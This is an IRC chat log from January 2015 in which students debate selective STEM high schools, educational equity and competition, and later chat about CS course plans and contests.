[2015-01-21T00:44:04-0500] <Pharyngeal> Wow
[2015-01-21T00:44:14-0500] <Pharyngeal> The extent of "CS" at our HS was AP CS A
[2015-01-21T00:44:18-0500] <Hyper> we were taught sqlite then mongo
[2015-01-21T00:44:27-0500] <@awe> We had a data structures course after AP CS A.
[2015-01-21T00:44:30-0500] <@awe> It was pretty lame.
[2015-01-21T00:44:45-0500] <@awe> Part of the class ended up being participating in the hackathon that Jacob, alokpathy, and I ran.
[2015-01-21T00:45:06-0500] <Hyper> post AP, we had Systems (C), Graphics(whatever you want), and SoftDev(Python+js)
[2015-01-21T00:45:13-0500] <alokpathy> s/hackathon/CTF
[2015-01-21T00:45:16-0500] <@awe> erm, yeah.
[2015-01-21T00:45:18-0500] <@awe> Words.
[2015-01-21T00:45:19-0500] <@awe> I'm tired.
[2015-01-21T00:45:22-0500] <Hyper> pre ap we had intro which was Scheme and netlogo
[2015-01-21T00:45:25-0500] <Pharyngeal> Oh wow, Hyper, private school?
[2015-01-21T00:45:28-0500] <Hyper> Pharyngeal: public
[2015-01-21T00:45:30-0500] <assface> http://i.imgur.com/XfI1q1O.png
[2015-01-21T00:45:42-0500] <Pharyngeal> Ah shit. Pre-AP, we had Java with bullshit assignments
[2015-01-21T00:45:47-0500] <Pharyngeal> And people were still lost =/
[2015-01-21T00:45:52-0500] <assface> Hyper: what? Pre-ap we had scratch
[2015-01-21T00:45:54-0500] <Hyper> #stuy
[2015-01-21T00:46:01-0500] <Pharyngeal> Ah
[2015-01-21T00:46:05-0500] <alokpathy> Hyper: Your HS seems like one of the better ones for CS
[2015-01-21T00:46:08-0500] <alokpathy> Oh, Stuy
[2015-01-21T00:46:10-0500] <alokpathy> that explains it.
[2015-01-21T00:46:12-0500] <Hyper> hehehehehe
[2015-01-21T00:46:14-0500] <Pharyngeal> What year are you now
[2015-01-21T00:46:14-0500] <Hyper> :)
[2015-01-21T00:46:17-0500] <Hyper> i'm a freshman
[2015-01-21T00:46:20-0500] <Hyper> In college
[2015-01-21T00:46:22-0500] <assface> the year of the bull
[2015-01-21T00:46:23-0500] <Hyper> nyu
[2015-01-21T00:46:24-0500] <Hyper> :)
[2015-01-21T00:46:33-0500] <alokpathy> Hyper: Poly?
[2015-01-21T00:46:36-0500] <Hyper> yeah
[2015-01-21T00:46:47-0500] <alokpathy> onice
[2015-01-21T00:46:52-0500] <alokpathy> You help run CSAW by any chance?
[2015-01-21T00:46:55-0500] <Hyper> haha no
[2015-01-21T00:47:11-0500] <Hyper> but I know Julian from a few years back
[2015-01-21T00:47:18-0500] <Hyper> (we met at a bar mitzvah)
[2015-01-21T00:47:22-0500] <alokpathy> You should join and make pdgn-related problems :P
[2015-01-21T00:47:54-0500] <Hyper> Julian follows me on github so I'm pretty sure that makes me a security expert by proxy :)
[2015-01-21T00:48:12-0500] <@awe> Obviously.
[2015-01-21T00:48:14-0500] <alokpathy> Ah, yes :P
[2015-01-21T00:48:17-0500] <@awe> THat's how it works, right?
[2015-01-21T00:48:21-0500] <alokpathy> If only
[2015-01-21T00:48:31-0500] <Pharyngeal> Ah, Hyper, so you know the Cahns?
[2015-01-21T00:48:37-0500] <Hyper> yes
[2015-01-21T00:48:41-0500] <Hyper> I do know the cahns
[2015-01-21T00:48:42-0500] <@awe> Hyper: in all fairness, your high school is basically private.
[2015-01-21T00:48:48-0500] <Hyper> fucking cahns
[2015-01-21T00:48:59-0500] <alokpathy> It's NYC's TJ :P
[2015-01-21T00:48:59-0500] <Pharyngeal> Hyper: Heh, I'm in student government with them here.
[2015-01-21T00:49:06-0500] <Hyper> heh
[2015-01-21T00:49:15-0500] <@awe> It's publicly-funded, but caters exclusively to rich people.
[2015-01-21T00:49:17-0500] <@awe> Like TJ.
[2015-01-21T00:49:21-0500] <Hyper> awe: what
[2015-01-21T00:49:24-0500] <Hyper> what are you talking about
[2015-01-21T00:49:30-0500] <Hyper> are you on all the drugs
[2015-01-21T00:49:32-0500] <@awe> You have to take a test to get in, right?
[2015-01-21T00:49:35-0500] <Hyper> yes
[2015-01-21T00:49:36-0500] <assface> awe: that wounds liek the Engineering Academy
[2015-01-21T00:49:45-0500] <@awe> Do you know how biased those tests are?
[2015-01-21T00:49:46-0500] <assface> *sounds like
[2015-01-21T00:49:50-0500] <Hyper> about 50% of our students are below the poverty level
[2015-01-21T00:49:58-0500] <@awe> assface: ah, you're from Dos Pueblos, that makes sense.
[2015-01-21T00:50:02-0500] <Hyper> like
[2015-01-21T00:50:04-0500] <assface> mmhmmm
[2015-01-21T00:50:16-0500] <assface> not in the EA though, fuck that place
[2015-01-21T00:50:18-0500] <Hyper> there are rich kids, sure
[2015-01-21T00:50:25-0500] <Hyper> but most of the people are not
[2015-01-21T00:50:33-0500] <@awe> That's surprising.
[2015-01-21T00:50:39-0500] <@awe> Maybe I'm thinking of one of the other specialized schools in NYC.
[2015-01-21T00:50:52-0500] <Hyper> My brother goes to Bx.Sci, and it's the same tehre
[2015-01-21T00:51:11-0500] <Hyper> I don't think any of the specialized schools are like that, really
[2015-01-21T00:51:27-0500] <@awe> Uhh....
[2015-01-21T00:51:29-0500] <@awe> Stuyvesant:
[2015-01-21T00:51:29-0500] <@awe> The school's skewed demographic profile (72% are Asian [37]) and scarcity of black and Hispanic students have often been an issue for some city administrators.
[2015-01-21T00:51:43-0500] <Hyper> Which is stupid
[2015-01-21T00:51:53-0500] <Hyper> like
[2015-01-21T00:52:01-0500] <Hyper> yes, there are very few black and hispanic kids
[2015-01-21T00:52:05-0500] <Hyper> so what?
[2015-01-21T00:52:11-0500] <Hyper> Stuy is very heavily an immigrant school
[2015-01-21T00:52:29-0500] <Hyper> 80 years ago those stats showed 70% jewish kids
[2015-01-21T00:52:39-0500] <@awe> Which is also indicative of a bias.
[2015-01-21T00:52:44-0500] <@awe> A very strong bias.
[2015-01-21T00:52:52-0500] <assface> nah mang, that aint no bias
[2015-01-21T00:53:09-0500] <Hyper> it's indicative of immigrants frequently putting in a lot of work because a free, high quality education is a great way to a better life.
[2015-01-21T00:53:14-0500] <@awe> I don't know of any specialized STEM schools that don't have some sort of ridiculous bias like that.
[2015-01-21T00:53:26-0500] <assface> as you can see, 50% of the students are below the median, and 50% are above the median. Therefore it's unbiased
[2015-01-21T00:53:47-0500] <nezorg> i think you mean mean
[2015-01-21T00:54:11-0500] <assface> no, that's different
[2015-01-21T00:54:15-0500] <Hyper> if by "the median" you mean literally the poverty line, then yes.
[2015-01-21T00:54:41-0500] <assface> by "the median" I mean the traffic median thar uns thoguh your school.
[2015-01-21T00:54:47-0500] <assface> *that runs
[2015-01-21T00:54:53-0500] <assface> *through
[2015-01-21T00:54:53-0500] <@awe> I'd like to see demos on that, Hyper.
[2015-01-21T00:55:03-0500] <Hyper> awe: the poverty line thing?
[2015-01-21T00:55:05-0500] <@awe> Yeah.
[2015-01-21T00:55:19-0500] <Hyper> I know we qualified for federal financial aid for the past few years because of that
[2015-01-21T00:55:24-0500] <Hyper> I don't have demos on hand
[2015-01-21T00:55:33-0500] <+hardmath123> there's so much jacob-hate on this channel
[2015-01-21T00:55:45-0500] <assface> ?
[2015-01-21T00:55:47-0500] <Hyper> hardmath123: hating jacob is how we express our love for him <3
[2015-01-21T00:55:59-0500] <assface> Hyper == jacob?
[2015-01-21T00:56:02-0500] <@awe> no
[2015-01-21T00:56:02-0500] <+hardmath123> no
[2015-01-21T00:56:07-0500] <Hyper> lol
[2015-01-21T00:56:08-0500] <@awe> JacobEdelman == Jacob.
[2015-01-21T00:56:09-0500] <+hardmath123> jacob === JacobEdelman
[2015-01-21T00:56:14-0500] <assface> shut up I know words
[2015-01-21T00:56:25-0500] <Hyper> hardmath123: oh dayum pulling out the strict equality
[2015-01-21T00:56:27-0500] <assface> it was all a.... um.... test
[2015-01-21T00:56:32-0500] <+hardmath123> who, of course, had to be offline right now so I typed that as J<tab><tab>a<tab><tab>cobEdelman
[2015-01-21T00:56:58-0500] <+hardmath123> Hyper: sorry, just spent an hour trying to javascript. it creeps into your reflexes.
[2015-01-21T00:57:03-0500] <@awe> Hyper: I'd still suspect there's something more at play than just "asian immigrants are hardworking."
[2015-01-21T00:57:11-0500] <assface> >he uses javascript
[2015-01-21T00:57:11-0500] <@awe> Hyper: that feels rather hand-wave-y to me.
[2015-01-21T00:57:18-0500] <Hyper> sure, but I don't think it's a problem with the test
[2015-01-21T00:57:33-0500] <Hyper> there's problems with the distribution of study materials and such
[2015-01-21T00:57:37-0500] <@awe> Well, yeah.
[2015-01-21T00:57:46-0500] <assface> Hyper: that means there's a bias
[2015-01-21T00:57:52-0500] <Hyper> the test has some issues with the scoring system
[2015-01-21T00:58:12-0500] <@awe> Schools like that are kind of some bullshit.
[2015-01-21T00:58:33-0500] <@awe> I mean, they're great and all, but it's sort of a load of crap to say "Hey, look at how selective our students are after we've already filtered out the bad ones to begin with!"
[2015-01-21T00:58:41-0500] <@awe> erm
[2015-01-21T00:58:47-0500] <@awe> how excellent*
[2015-01-21T00:59:08-0500] <@awe> Like, oh wow, Stuy can get a 2,100 SAT average after they've already filtered out all the kids who wouldn't get that.
[2015-01-21T00:59:16-0500] <assface> ^
[2015-01-21T00:59:20-0500] <Hyper> ok, but like
[2015-01-21T00:59:28-0500] <Hyper> why is that surprising?
[2015-01-21T00:59:31-0500] <@awe> It's not.
[2015-01-21T00:59:34-0500] <@awe> It's just elitist bullshit.
[2015-01-21T00:59:52-0500] <+hardmath123> to be fair, awe, the 
[2015-01-21T01:00:00-0500] <@awe> There's nothing particularly special about the school except for the fact that it gets a shitload of money from private donations, and it caters to a filtered elite of students.
[2015-01-21T01:00:01-0500] <+hardmath123> type of people a school has
[2015-01-21T01:00:12-0500] <+hardmath123> is a big factor in determining the amount of learning happening
[2015-01-21T01:00:16-0500] <Hyper> We don't get money from private donations afaik
[2015-01-21T01:00:19-0500] <@awe> Hyper: you do.
[2015-01-21T01:00:25-0500] <@awe> Hyper: on the order of millions of dollars.
[2015-01-21T01:00:37-0500] <Hyper> haahahahhaaaa
[2015-01-21T01:00:46-0500] <@awe> ?
[2015-01-21T01:00:52-0500] <Hyper> well then the cs department isn't seeing much of it 
[2015-01-21T01:01:03-0500] <@awe> In 2006, Dr. Robert Ira Lewy, a graduate of the class of 1960, made a gift worth $1,000,000 to found the Dr. Robert Ira Lewy M.D. Multimedia Center and donated his personal library in 2007.
[2015-01-21T01:01:24-0500] <@awe> Stuyvesant also receives private contributions.
[2015-01-21T01:01:24-0500] <Hyper> they haven't been allowed to hire a new teacher despite their classes being the most oversubscribed in the school
[2015-01-21T01:01:33-0500] <@awe> That's an administration thing.
[2015-01-21T01:01:39-0500] <@awe> I bet the administrator's salaries are pretty high though.
[2015-01-21T01:01:54-0500] <@awe> hardmath123: the issue is that these schools get all sorts of praise for their excellence and whatnot
[2015-01-21T01:01:58-0500] <@awe> hardmath123: there's nothing excellent about them.
[2015-01-21T01:02:03-0500] <Hyper> awe: there is
[2015-01-21T01:02:08-0500] <@awe> Sure, the resources they have.
[2015-01-21T01:02:11-0500] <Hyper> Having a concentration of people who are smart
[2015-01-21T01:02:15-0500] <Hyper> is the real excellence
[2015-01-21T01:02:19-0500] <+hardmath123> the excellence *is* in the learning environment
[2015-01-21T01:02:20-0500] <@awe> It doesn't make you a good school.
[2015-01-21T01:02:25-0500] <assface> ^
[2015-01-21T01:02:28-0500] <Hyper> It makes it a good environment
[2015-01-21T01:02:28-0500] <@awe> It doesn't mean you're teaching anyone well.
[2015-01-21T01:02:36-0500] <assface> I'd be much more impressed if my school got crazy scores on tests
[2015-01-21T01:02:55-0500] <Hyper> and I'd argue that being surrounded by excellent people makes you more likely to work hard
[2015-01-21T01:03:13-0500] <@awe> A good education is not putting people in a cultural bubble.
[2015-01-21T01:03:16-0500] <assface> if you're competitive
[2015-01-21T01:03:32-0500] <Hyper> stuy has a bit of a selection bias for competetiveness :)
[2015-01-21T01:03:38-0500] <@awe> Of course it does.
[2015-01-21T01:03:39-0500] <@awe> That's the issue.
[2015-01-21T01:03:46-0500] <Hyper> why is that an issue?
[2015-01-21T01:04:01-0500] <@awe> Because it's not a solution to the educational problems in this country.
[2015-01-21T01:04:13-0500] <@awe> It's sweeping the minorities aside.
[2015-01-21T01:04:13-0500] <Hyper> I feel like your argument boils down to "People get into an environment where they are challenged and that makes me ANGRY"
[2015-01-21T01:04:19-0500] <+hardmath123> well, you can't have feynmans teaching in every school
[2015-01-21T01:04:38-0500] <+hardmath123> and interested teachers gravitate towards interested students
[2015-01-21T01:04:38-0500] <Hyper> stuy is mostly minorities.
[2015-01-21T01:04:43-0500] <@awe> No.
[2015-01-21T01:04:46-0500] <@awe> It's mostly a single minority.
[2015-01-21T01:04:55-0500] <@awe> A minority that might I add is rather far from a minority in Education.
[2015-01-21T01:05:05-0500] <+hardmath123> throw a $5,000,000 library at a bunch of uninterested jocks, and nothing exciting will happen.
[2015-01-21T01:05:12-0500] <assface> I think awe's argument is that manufacturing good students is a bad thing
[2015-01-21T01:05:15-0500] <assface> and I agree with that
[2015-01-21T01:05:17-0500] <@awe> ^
[2015-01-21T01:05:21-0500] <Hyper> I don't get that
[2015-01-21T01:05:30-0500] <Hyper> It's not even manufacturing good students
[2015-01-21T01:05:34-0500] <assface> it is
[2015-01-21T01:05:37-0500] <@awe> Any of those kids would do just as well in just about any other school.
[2015-01-21T01:05:43-0500] <assface> you set the environment up, like you're saying
[2015-01-21T01:05:53-0500] <@awe> The only difference is that now they're put in this weird cultural bubble where they don't know how other people live.
[2015-01-21T01:06:01-0500] <Hyper> the advantage is that you can meet people who will finally challenge you
[2015-01-21T01:06:08-0500] <@awe> Education isn't about challenge.
[2015-01-21T01:06:14-0500] <@awe> Education is not a competitive endeavor.
[2015-01-21T01:06:19-0500] <@awe> It's a cooperative endeavor.
[2015-01-21T01:06:21-0500] <Hyper> why can't it be both?
[2015-01-21T01:06:24-0500] <assface> I've learned a lot in classes full of idiots
[2015-01-21T01:06:35-0500] <+hardmath123> awe
[2015-01-21T01:06:39-0500] <@awe> Because viewing education as competitive makes it about doing better than other people, and not about learning.
[2015-01-21T01:06:40-0500] <+hardmath123> i stubbornly disagree here
[2015-01-21T01:06:47-0500] <@awe> I went to a high school like this.
[2015-01-21T01:06:51-0500] <Hyper> I've learned more in classes full of smart people than classes of idiots
[2015-01-21T01:06:55-0500] <@awe> I went to a high school where everyone was "smart."
[2015-01-21T01:06:56-0500] <+hardmath123> and i say this because i spent middle school surrounded by people who couldn't even spell computer
[2015-01-21T01:07:05-0500] <+hardmath123> and learned nothing
[2015-01-21T01:07:06-0500] <@awe> And what that meant is that nobody cared about learning.
[2015-01-21T01:07:25-0500] <+hardmath123> aside from what i did at home in binge-google sessions.
[2015-01-21T01:07:27-0500] <assface> awe: my parents are both teachers, and they'd be apllauding you right now
[2015-01-21T01:07:29-0500] <Hyper> at stuy there were people who just cared about doing the best, sure
[2015-01-21T01:07:37-0500] <Hyper> but they're present everywhere
[2015-01-21T01:07:45-0500] <@awe> The primary interest of most people I know was that they wanted to score well on tests and go to the ivy league colleges.
[2015-01-21T01:07:55-0500] <@awe> And that's some grade-A bullshit.
[2015-01-21T01:07:57-0500] <@awe> That's not an education.
[2015-01-21T01:08:07-0500] <Hyper> And they're the type of people that you don't care about and never talk to again
[2015-01-21T01:08:10-0500] <Hyper> great
[2015-01-21T01:08:17-0500] <@awe> But that's what those environments create.
[2015-01-21T01:08:25-0500] <@awe> They create people who are in it to win for numbers.
[2015-01-21T01:08:31-0500] <Hyper> I disagree.
[2015-01-21T01:08:46-0500] <+hardmath123> I can't think of an alternative environment.
[2015-01-21T01:08:50-0500] <Hyper> I see it as an environment where people can be challenged.
[2015-01-21T01:09:04-0500] <@awe> If you make education into a competition, it's always going to be about the numbers.
[2015-01-21T01:09:15-0500] <+hardmath123> A place where competent individuals learn together is not necesarily a place where they are incentivized to learn by tests/numbers.
[2015-01-21T01:09:31-0500] <+hardmath123> It's just that there are lots of cases where that just happens to be the case.
[2015-01-21T01:09:33-0500] <Hyper> The smartest people I knew at stuy were totally uninterested in the numbers.
[2015-01-21T01:09:41-0500] <@awe> Sure.
[2015-01-21T01:09:45-0500] <@awe> That's definitely true.
[2015-01-21T01:09:57-0500] <@awe> The smartest people at my school were also unconcerned with numbers.
[2015-01-21T01:10:00-0500] <@awe> (See: Jacob's brother)
[2015-01-21T01:10:09-0500] <@awe> But the majority of students were playing a numbers game.
[2015-01-21T01:10:13-0500] <+hardmath123> (btw Hyper you live in westchester?)
[2015-01-21T01:10:13-0500] <@awe> They weren't learning.
[2015-01-21T01:10:22-0500] <Hyper> I live in NYC
[2015-01-21T01:10:26-0500] <+hardmath123> oh
[2015-01-21T01:10:58-0500] <Hyper> awe: well that's their loss
[2015-01-21T01:11:02-0500] <alokpathy> I don't think there are very many schools where most people want to learn.
[2015-01-21T01:11:07-0500] <alokpathy> They either don't care or play a numbers game
[2015-01-21T01:11:12-0500] <assface> ^
[2015-01-21T01:11:21-0500] <assface> I don't think there are any
[2015-01-21T01:11:29-0500] <alokpathy> and having or not having schools like Stuy won't change that.
[2015-01-21T01:11:32-0500] <@awe> Hyper: no, it's the educational system failing every goddamn one of those people.
[2015-01-21T01:11:53-0500] <assface> alokpathy: well, the thin is Stuy is overfunded and lots of other schools are udnerfunded
[2015-01-21T01:11:57-0500] <Hyper> so your solution is to put them in an unchallenging environment?
[2015-01-21T01:11:58-0500] <@awe> The educational system isn't here to serve the tiny percentage of people who are interested in learning.
[2015-01-21T01:12:14-0500] <@awe> The educational system is here to serve the rest of them who aren't.
[2015-01-21T01:12:21-0500] <@awe> That isn't what I said.
[2015-01-21T01:12:25-0500] <alokpathy> Throwing money at schools won't solve any problems.
[2015-01-21T01:12:28-0500] <Hyper> awe: the educaiton system is there to serve *all* students
[2015-01-21T01:12:30-0500] <@awe> That also isn't what I said.
[2015-01-21T01:12:37-0500] <Hyper> and to attempt to teach them at their level
[2015-01-21T01:12:48-0500] <@awe> The educational system needs to do exactly nothing to serve the students who are already interested in learning.
[2015-01-21T01:12:49-0500] <@awe> Why?
[2015-01-21T01:12:53-0500] <@awe> Because they're already doing it.
[2015-01-21T01:13:04-0500] <Hyper> and it should encourage that.
[2015-01-21T01:13:25-0500] <@awe> But that's not the primary focus.
[2015-01-21T01:13:39-0500] <@awe> The primary focus is the rest of the people who are not yet interested in learning, and showing them why they should be.
[2015-01-21T01:14:07-0500] <assface> ^
[2015-01-21T01:14:14-0500] <assface> ever heard of AVID?
[2015-01-21T01:14:24-0500] <assface> It could use a few million dollars
[2015-01-21T01:16:08-0500] <@awe> AVID seems interesting.
[2015-01-21T01:17:24-0500] <assface> my dad teaches it
[2015-01-21T01:17:38-0500] <assface> he's still in touch with his first students
[2015-01-21T01:18:58-0500] <@awe> The results seem really promising, too.
[2015-01-21T01:19:30-0500] <@awe> But you know, TJ really needs that big renovation, assface.
[2015-01-21T01:19:34-0500] <@awe> And Stuy needed that library.
[2015-01-21T01:20:11-0500] <assface> but of course
[2015-01-21T01:20:56-0500] <@awe> The TJ reno is $8m.
[2015-01-21T01:21:44-0500] <assface> das cray foo
[2015-01-21T01:21:46-0500] <@awe> And they advertise with it that that $8m will "help TJ nurture the next generation of leaders and problem-solvers
[2015-01-21T01:21:46-0500] <@awe> while setting the standard for schools across the country"
[2015-01-21T01:21:46-0500] <assface> fo real
[2015-01-21T01:21:49-0500] <@awe> lol
[2015-01-21T01:21:57-0500] <@awe> >setting the standard for schools across the country
[2015-01-21T01:21:59-0500] <@awe> Okay, TJ, okay.
[2015-01-21T01:22:02-0500] <assface> nonono
[2015-01-21T01:22:06-0500] <assface> you have to use the color
[2015-01-21T01:22:18-0500] <assface> ^C 3
[2015-01-21T01:22:26-0500] <assface> >like this
[2015-01-21T01:22:30-0500] <@awe> lol, ok
[2015-01-21T01:22:54-0500] <@awe> I find the prospect that TJ somehow sets the standard for anything other than other rich schools laughable.
[2015-01-21T01:26:45-0500] <assface> it could be worse
[2015-01-21T01:27:01-0500] <assface> my school has a tumor filled with rich kids attached to the side
[2015-01-21T01:28:17-0500] <@awe> My high school was... just generally disgusting.
[2015-01-21T01:32:20-0500] <@awe> Although, I suppose that it's possible that Jacob or alokpathy had a different experience.
[2015-01-21T01:33:12-0500] <Pharyngeal> Heh
[2015-01-21T01:33:23-0500] <Pharyngeal> How do you mean, awe 
[2015-01-21T01:34:09-0500] <@awe> The average household income in the town in which I lived is $120,000-140,000 depending on source.
[2015-01-21T01:34:30-0500] <@awe> Amongst Asian households, it's supposedly averaging around $220,000/year.
[2015-01-21T01:34:38-0500] <@awe> It showed.
[2015-01-21T01:35:04-0500] <assface> oooosh
[2015-01-21T01:35:10-0500] <@awe> Everyone took piles of prep courses for the SATs.
[2015-01-21T01:35:23-0500] <@awe> Nobody really had any understanding of what the life of most Americans was like.
[2015-01-21T01:35:27-0500] <@awe> Most kids got cars.
[2015-01-21T01:35:32-0500] <@awe> A great deal of them drove BMWs.
[2015-01-21T01:35:39-0500] <@awe> Many of those cars were new.
[2015-01-21T01:35:51-0500] <assface> I know a kid liek that
[2015-01-21T01:35:55-0500] <assface> he's a dick
[2015-01-21T01:36:16-0500] <@awe> Kids were primarily concerned with going to ivy league schools, and taking all the AP tests and whatnot, and less concerned with knowledge or being a good person.
[2015-01-21T01:37:29-0500] <@awe> People were validated as being superior for performing better on testing metrics.
[2015-01-21T01:38:28-0500] <@awe> And don't think that I hated all of this because I was somehow scorned by it. I excel at test taking. I, myself, am roughly as wealthy as them. I drive a brand new car, though it's a Mazda not a BMW.
[2015-01-21T01:38:58-0500] <@awe> Admittedly, I wanted to go to Princeton and did not get to do so, but I hated it all long before that.
[2015-01-21T01:39:10-0500] <@awe> I found the entire environment stifling and oppressive.
[2015-01-21T01:39:19-0500] <assface> I don't know that feel
[2015-01-21T01:39:28-0500] <assface> my parents make a combined $60,000/yr
[2015-01-21T01:39:42-0500] <@awe> And it caused me to just about completely abandon schooling.
[2015-01-21T01:39:44-0500] <assface> or somewhere around there
[2015-01-21T01:39:59-0500] <@awe> I completely checked out of high school, and I did really poorly as a result.
[2015-01-21T01:41:06-0500] <@awe> If I had gone to another school like that for undergrad, I'd imagine I'd have abandoned my dream of getting a PhD.
[2015-01-21T01:42:06-0500] <@awe> assface: That's still above the median.
[2015-01-21T01:42:14-0500] <@awe> assface: Not that that makes you weatlhy by any means.
[2015-01-21T01:42:56-0500] <assface> well SB is a very expensive place to live
[2015-01-21T01:43:05-0500] <assface> it's hard to find a house below $1,000,000
[2015-01-21T01:43:12-0500] <@awe> Pharyngeal: So, I guess the easiest way to describe it would be that it just about completely killed my interest in learning, and my desire to participate in the educational system.
[2015-01-21T01:43:17-0500] <@awe> Ah, yes. That is true.
[2015-01-21T01:43:20-0500] <@awe> California is very expensive.
[2015-01-21T01:43:25-0500] <@awe> As is New Jersey.
[2015-01-21T01:43:25-0500] <assface> although my dad used to work a much more high-paying job
[2015-01-21T01:43:45-0500] <assface> awe: no, San Bernardino and Cascadia are dirt cheap
[2015-01-21T01:44:19-0500] <@awe> Well, yeah, I mean, there are cheap places to live there (as is also the case in New Jersey), but I mean that there are very "desirable" places to live that are *very* expensive.
[2015-01-21T01:44:47-0500] <@awe> There aren't a lot of places in the US where a house below a million dollars is near impossible to find.
[2015-01-21T01:45:05-0500] <assface> true
[2015-01-21T01:45:30-0500] <@awe> And I do know a bit about the area in which you live.
[2015-01-21T01:45:36-0500] <@awe> Mostly because I know about the engineering academy.
[2015-01-21T01:46:39-0500] <assface> for a high-wealth community we have a big gang problem
[2015-01-21T01:46:44-0500] <assface> it's funny IMO
[2015-01-21T01:47:25-0500] <@awe> Pharyngeal: If it weren't for the fact that I was more-or-less bred to go to uni and that I was more-or-less forced to go to a public university with far greater wealth diversity than I've ever experienced in my life, I really don't know what my plans would be, but I'd highly doubt they'd include pursuing the academy.
[2015-01-21T01:48:06-0500] <@awe> assface: are there really poor areas nearby?
[2015-01-21T01:48:12-0500] <@awe> Well, that's sort of a stupid question.
[2015-01-21T01:48:16-0500] <@awe> I think that's always true.
[2015-01-21T01:48:33-0500] <@awe> I can't think of a lot of wealthy areas that aren't very close to poor areas.
[2015-01-21T01:49:07-0500] <@awe> Although, there's probably exceptions.
[2015-01-21T01:49:15-0500] <assface> yeah, we have a few very small poorer neighborhoods
[2015-01-21T01:49:31-0500] <assface> it's worse in Goleta, out by where DP is
[2015-01-21T01:50:11-0500] <assface> it's nice because there's no big provate schools around, so it's basically mix or don't go to school
[2015-01-21T01:51:02-0500] <@awe> There was a lot of big private schools around me.
[2015-01-21T01:51:17-0500] <assface> we have a couple tiny ones.
[2015-01-21T01:51:18-0500] <@awe> But I went to a public school in an ultra-wealthy town.
[2015-01-21T01:51:26-0500] <assface> and the people who go there are WEIRD
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[2015-01-21T01:54:37-0500] <assface> really should study for that test...
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[2015-01-21T01:59:25-0500] <@awe> Am going to bed.
[2015-01-21T01:59:28-0500] <@awe> Good talk, everyone.
[2015-01-21T01:59:30-0500] <@awe> Good night.
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[2015-01-21T06:29:08-0500] <+JacobEdelman> wait
[2015-01-21T06:29:19-0500] <+JacobEdelman> it the backtick qdb for pdgn?
[2015-01-21T06:29:32-0500] <+JacobEdelman> if so, should i move my current list of pdgn quotes into it?
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[2015-01-21T09:20:57-0500] <alokpathy> Tamini: woo usaco gold
[2015-01-21T09:21:07-0500] <alokpathy> Cutoff of 600 LOL
[2015-01-21T10:12:10-0500] <+hardmath123> JacobEdelman: yes.
[2015-01-21T11:24:18-0500] <+JacobEdelman> hardmath123: okay, I'll do that later
[2015-01-21T11:25:58-0500] <+JacobEdelman> uhg, I failed usaco
[2015-01-21T11:51:19-0500] <alokpathy> Tamini: Ayy you got promoted
[2015-01-21T12:06:48-0500] <nezorg> so somehow I managed to unbind my five key
[2015-01-21T12:14:19-0500] <nezorg> ...oh, my five key is bound to left alt somehow
[2015-01-21T13:02:21-0500] <+JacobEdelman> nezorg: you keyboard is weird
[2015-01-21T13:02:54-0500] <+JacobEdelman> (although, I have a desktop automation program that remaps my pipe key to the correct character when I first click it after logging in so I'm not one to talk)
[2015-01-21T13:28:46-0500] <@awe> Wow.
[2015-01-21T13:28:50-0500] <@awe> Both of your keyboards are weird.
[2015-01-21T13:29:04-0500] <@awe> Also, can someone perhaps help me find the book Bridging the Class Divide by Linda Stout on PDF for free?
[2015-01-21T13:29:14-0500] <@awe> I seem unable to find it.
[2015-01-21T13:33:56-0500] <jwoglom> awe: it looks like it's on google books
[2015-01-21T13:34:07-0500] <@awe> That costs $$$ though.
[2015-01-21T13:35:23-0500] <jwoglom> so you can at least see some of the pages as a preview
[2015-01-21T13:36:00-0500] <@awe> I want the whole book for free.
[2015-01-21T13:36:03-0500] <@awe> I need it for class.
[2015-01-21T13:36:10-0500] <@awe> But I don't want to buy it.
[2015-01-21T13:36:57-0500] <@awe> I'm doing that with my systems course.
[2015-01-21T14:02:24-0500] <@awe> So, I think I figured out all of the courses I'm going to take after I finish the core CS curriculum
[2015-01-21T14:03:17-0500] <@awe> Algorithms, Software Engineering, Formal Language Theory, Operating Systems, Combinatorics and Graph Theory, Advanced Algorithms, Compilers, and Programming Languages.
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[2015-01-21T14:05:23-0500] <@awe> So, I'm basically combining the Theory track with the Programming Languages track.
[2015-01-21T14:14:09-0500] <@awe> Also, apparently, M$ will pay for a year of tuition
[2015-01-21T14:14:09-0500] <@awe> http://careers.microsoft.com/careers/en/us/university-programs.aspx#tab_scholarship-program-apply
[2015-01-21T14:14:18-0500] <@awe> You just have to apply for an internship and agree to go if you get one.
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[2015-01-21T14:19:37-0500] <@awe> Hyper: 95 day streak on GH :D
[2015-01-21T14:22:36-0500] <@awe> Although, admittedly, it's supported by a few days where I just did cargo update on stuff.
[2015-01-21T14:33:47-0500] <alokpathy> awe: What do you do in software engineering?
[2015-01-21T14:33:54-0500] <alokpathy> Like, the class
[2015-01-21T14:33:56-0500] <@awe> Pharyngeal: and I described it yesterday.
[2015-01-21T14:34:10-0500] <@awe> It's where they feed you corporate bullshit in an attempt to somehow make CS a vocational degree.
[2015-01-21T14:34:39-0500] <alokpathy> Oh, I see
[2015-01-21T14:34:50-0500] <alokpathy> Did you choose to take it?
[2015-01-21T14:35:00-0500] <@awe> They'll talk to you about agile development and waterfall and all that jazz.
[2015-01-21T14:35:09-0500] <@awe> No, it's a requirement for the Theory of Computation track.
[2015-01-21T14:35:14-0500] <@awe> (Which I find *incredibly* weird.)
[2015-01-21T14:35:17-0500] <alokpathy> That's weird
[2015-01-21T14:35:19-0500] <alokpathy> Yeah
[2015-01-21T14:36:50-0500] <alokpathy> Is that true for OS too?
[2015-01-21T14:36:59-0500] <@awe> No, I'm choosing to take OS
[2015-01-21T14:37:08-0500] <@awe> There's a choice of four requirements for Theory of Computation
[2015-01-21T14:37:10-0500] <@awe> OS is one of them
[2015-01-21T14:37:18-0500] <@awe> and since I want to basically mix it with programming languages
[2015-01-21T14:37:26-0500] <@awe> it makes sense to take OS instead of Computer Networks like I had originally planned.
[2015-01-21T14:39:33-0500] <alokpathy> Ah okay
[2015-01-21T14:41:38-0500] <@awe> The only things that are not a choice for Theory of Computation are Algorithms, Software Engineering, and Formal Language Theory.
[2015-01-21T14:42:10-0500] <@awe> Then you get a choice of one of four lower-level type courses, and a choice of two of four higher-level courses, and then a choice of any two electives over 300 level.
[2015-01-21T14:42:25-0500] <@awe> (Compilers and Programming Languages will be my two electives)
[2015-01-21T14:56:41-0500] <Hyper> awe: gee, way to make me feel inadequate :P
[2015-01-21T14:57:10-0500] <@awe> You're welcome :)
[2015-01-21T14:57:23-0500] <Hyper> awe: also, have you been following Jai?
[2015-01-21T14:57:34-0500] <Hyper> seems like the type of thing that would interest you
